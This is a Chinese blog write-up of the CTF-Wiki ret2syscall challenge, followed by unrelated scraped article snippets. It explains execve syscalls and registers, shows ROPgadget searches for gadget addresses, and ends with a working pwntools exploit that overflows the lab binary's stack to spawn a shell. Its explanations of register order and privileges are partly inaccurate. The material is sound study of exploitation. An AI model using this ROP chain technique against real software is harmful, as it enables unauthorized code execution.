CTFWIKI-PWN-ret2syscall

news2025/1/12 6:06:16

该题目是在32位下

目录

先进行checksec

​编辑

ida

1.execve()

2.寄存器

3.流程图

4.我们需要先看看execve()函数的函数调用号

5.使用ROPgadget来查看

我们先进行查看eax|ret

查看 pop ebx,ecx,edx,ret

查找 /bin/sh的地址

查找int 0x80

查看字符偏移量

附上流程图


先进行checksec

ida

发现栈溢出函数 这次我们学习的是系统调用 执行/bin/sh

这个是通过系统调用函数 就是存放在系统中的函数来执行shellcode

这种类型是没有存在shellcdoe的

我们这次要使用到的函数是

1.execve()

类似python中的os.system(cmd) 可以以管理员权限执行函数

这个函数和system()函数的差别就是 会不会返回

system() 会在执行完后进行返回 完成
execve()在语句执行完后不会返回

2.寄存器

eax通常使用与存放函数进行传递和进行系统调用

大多数都是运用eax进行系统调用

ebx ecx edx进行参数的传递

我们这个就是运用 这个概念

通过eax进行调用系统函数

再通过ecx,ebx,edx进行函数的参数传递

ecx通常用于传递第一参数,edx用于传递第二参数,ebx用于传递第三参数


但是要凭借情况而定 这道题就是找到操作进行

3.流程图

cat /usr/include/asm/unistd_32.h | grep execve 

 通过这个流程可以实现 函数

execve('/bin/sh',0,0)

4.我们需要先看看execve()函数的函数调用号

这个是查看所有的函数号

cd /usr/include/asm
vim unistd_32.h 

这个是直接找execve()的函数号

cat /usr/include/asm/unistd_32.h | grep execve 

grep是高级搜索 字符串

5.使用ROPgadget来查看

我们先进行查看eax|ret

来查看 pop eax ret指令

ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

能发现出现了 pop eax ;ret 这就是我们需要的操作 记下他的地址

pop_eax_ret=p32(0x080bb196)

查看 pop ebx,ecx,edx,ret

通过高级搜索 看看 pop ebx,ret的操作

ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

 返回来很多 有出现 pop ebx,ret

但是其中还有一个

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

出现了我们需要的全部 就是顺序不一样 所以这个变为

ebx为第一参数 ecx为第二参数 edx 为第三参数
pop_other_ret=p32(0x0806eb90)

这就解释为什么和上面我说一般来说参数的分配不一样 还有为什么流程图/bin/sh在ebx

查找 /bin/sh的地址

ROPgadget --binary rop --string '/bin/sh'

 得到了地址

bin_add=p32(0x080be408)

查找int 0x80

int 0x80 是一种在Linux操作系统中使用的系统调用调用方式,它会触发中断信号并将控制权转移到内核态,在内核中执行相应的系统调用功能。该指令通常用于在用户空间中调用底层内核接口,例如文件操作、进程管理等。

但是现在 这个已经给其他调用方法替代了 存在历史性

ROPgadget --binary rop --only 'int'

int_add=p32(0x08049421)

 这样我们就得到了所有的地址

查看字符偏移量

gdb打开

cyclic 200
r
cyclic -l daab

 

我们开始编写exp

from pwn import *
p=process('./rop')
pop_eax_ret=p32(0x080bb196)
pop_other_ret=p32(0x0806eb90)
bin_add=p32(0x080be408)
int_add=p32(0x08049421)
payload=b'A'*112+pop_eax_ret+p32(0xb)+pop_other_ret+p32(0)+p32(0)+bin_add+int_add
p.sendline(payload)
p.interactive()

 实现了控制器

附上流程图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/436237.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023-04-13 工作记录--CSS/JS-ios 文本渐变色 和 文本超出省略号处理 共用时,出现省略号未显示问题

CSS/JS-ios 文本渐变色 和 文本超出省略号处理 共用时,出现省略号未显示问题 一、前言 ⭐️ 最近写项目,发现一个bug:ios 文本渐变色 和 文本超出省略号处理 共用时,出现省略号未显示问题,如下图:图1是非i…

三、vue_options之data、methods属性选项

一、data属性 data属性是传入一个函数,并且该函数需要返回一个对象: 在Vue2.x的时候,也可以传入一个对象(虽然官方推荐是一个函数);在Vue3.x的时候,必须传入一个函数,否则就会直接在浏览器中报错&#xf…

【Java开发】设计模式 12:解释器模式

1 解释器模式介绍 解释器模式是一种行为型设计模式,它提供了一种方法来解释语言、表达式或符号。 在该模式中,定义了一个表达式接口,并实现了对应的表达式类,这些类可以解释不同的符号组成的表达式,从而实现对语言的…

云原生之在kubernetes环境下部署wordpress

云原生之在kubernetes环境下部署wordpress 一、wordpress介绍1.wordpress简介2.wordpress特点 二、kubernetes集群介绍1.k8s简介2.k8s架构图 三、本次实践介绍1.本次实践简介2.本次环境规划 四、环境准备工作1.检查k8s环境2.检查系统pod状态 五、创建mysql的secret资源1.创建部…

OpenCV_contrib配置教程(详细版)

文章目录 一:前提准备1:OpenCV4.5.1、OpenCV_contrib4.5.1扩展库下载2:Cmake下载地址Download 二:cmake配置1:2: 三:vs2017编译OpenCV build文件四:环境配置 个人笔记: …

如何构建编译gopacket包的测试用例?(gopacket抓取数据包、类似于tcpdump、Wireshark)

本篇文章介绍一下,如何构建gopacket测试用例 1、构建过程中遇到的问题 问题1: -bash: ./gopacket-main: /lib/ld-musl-x86_64.so.1: bad ELF interpreter: No such file or directory问题2: #14 3.150 # github.com/google/gopacket/pcap …

Zimbra 远程代码执行漏洞(CVE-2019-9670)环境搭建

漏洞简介 Zimbra是著名的开源系统,提供了一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部…

【附代码】SSVEP解码算法 - 多变量同步指数(MSI)

1 算法来源 该算法来自电子科技大学张杨松博士,针对该算法的计算在张博士的博士论文中有详细介绍,有兴趣的读者可以下载阅读,本文重点在对该方法的代码实现。Zhang, Yangsong, et al. “Multivariate synchronization index for frequency recognition of SSVEP-based brain…

JS和CSS实现的原生轮播图

文章目录 🍗 前言🍖 JSCSS实现滑动轮播图🍔 纯CSS实现滑动轮播图🍿 JSCSS实现浅入浅出轮播图🥪 JSCSS实现滑动带遮罩轮播图🧀 JSCSS实现卡片式轮播图 🍗 前言 图片来自百度图片,可以…

分析解决【No module named ‘triton‘】的问题

(一)现象 在Windows11下训练Stable-Diffusion的LoRA模型的时候,总是重复提示: A matching Triton is not available, some optimizations will not be enabled. Error caught was: No module named ‘triton’ 意思是&#xff1a…

RocketMQ之 Consumer,消费者消费原理解析

B站 https://www.bilibili.com/video/BV1rX4y1z72v在线学习文档 https://d9bp4nr5ye.feishu.cn/wiki/wikcnjjvso9uytlgVJBfKcJh1Kq 今天我们阅读源码的目的:在SpringBoot项目中,RocketMQ是如何通过 RocketMQMessageListener 来进行消费的。 在SpringBoot…

Python数据结构-----leetcode用队列实现栈

目录 前言: 方法步骤 示例 Python代码实现 225. 用队列实现栈 前言: 上一期学习了怎么去通过两个栈来实现队列,同样这一期我就来讲讲怎么去通过两个队列来实现栈的功能,一起来学习吧。(上一期链接Python数据结构--…

【Git基础】常用git命令(一)

文章目录 1. 创建仓库1.1 创建仓库1.2 git add和git commit① git add② git commit③ 工作区、暂存区和仓库 2. 创建git服务器2.1 服务器:2.2 本地2.3 修改配置信息 3. git基础原理3.1 四个区域3.2 工作流程3.3 文件的四种状态① git rm② git checkout 4.优雅的提…

setup的两个注意点

setup的两个注意点 首先,我们原本在v2中,父组件给子组件传递参数时,使用props来接收,当然除了这个方法外,我们还可以通过$attr来接收,只不过使用$atter就不能对父组件传来的参数进行类型的限定&#xff0c…

你是一个资深API接口爬虫程序员,现在需要你介绍一下如何通过商品id来获取商品数据并读取出来

获取商品数据通常需要使用API接口,根据接口文档中的说明传递商品id参数,并使用相应的请求方式(通常为GET请求)向API服务器发送请求即可。 以下是一个获取商品数据的示例请求: 首先打开API接口文档,找到获…

小航助学答题系统编程等级考试scratch二级真题2023年3月(含题库答题软件账号)

青少年编程等级考试scratch真题答题考试系统请点击 电子学会-全国青少年编程等级考试真题Scratch一级(2019年3月)在线答题_程序猿下山的博客-CSDN博客_小航答题助手 1.小猫的程序如图所示,积木块的颜色与球的颜色一致。点击绿旗执行程序后&a…

USB TO SPI / USB TO I2C 软件概要 7 --- 专业版调试器

所需设备: 1、USB 转 SPI / I2C 适配器; 软件概述: SPI类: USB TO SPI 1.0-Slave SPI从机软件,适合单步调试,支持SPI工作模式0、1、2、3,自动跟随主机通讯速率,自动接收数据; …

【算法宇宙——在故事中学算法】背包dp之完全背包问题

学习者不灵丝相传,而自杖明月相反,子来此事却无得失。 文章目录 前言正文小明的探险之旅(2)最后的优化代码 前言 尽管计算机是门严谨的学科,但正因为严谨,所以要有趣味才能看得下去。在笔者的前几篇算法类…

C#基础学习--LINQ

什么是LINQ 从对象获取数据的方法一直都是作为程序的一部分而设计的,然而使用LINQ可以很轻松的查询对象集合 LINQ提供程序 匿名类型 匿名类型经常用于LINQ查询的结果之中 匿名类型的对象创建表达式: using System; using System.Collections; using …

BiFormer:基于双层路由注意力的视觉Transformer

文章目录 摘要1、简介2、相关工作3、我们的方法:BiFormer3.1、预备知识:注意力3.2、双层路由注意(BRA)3.3、BRA的复杂性分析 4、实验4.1、ImageNet-1K图像分类4.2. 目标检测与实例分割4.3. 基于ADE20K的语义分割4.4、消融研究4.5、注意图可视化 5、局限性和未来工作…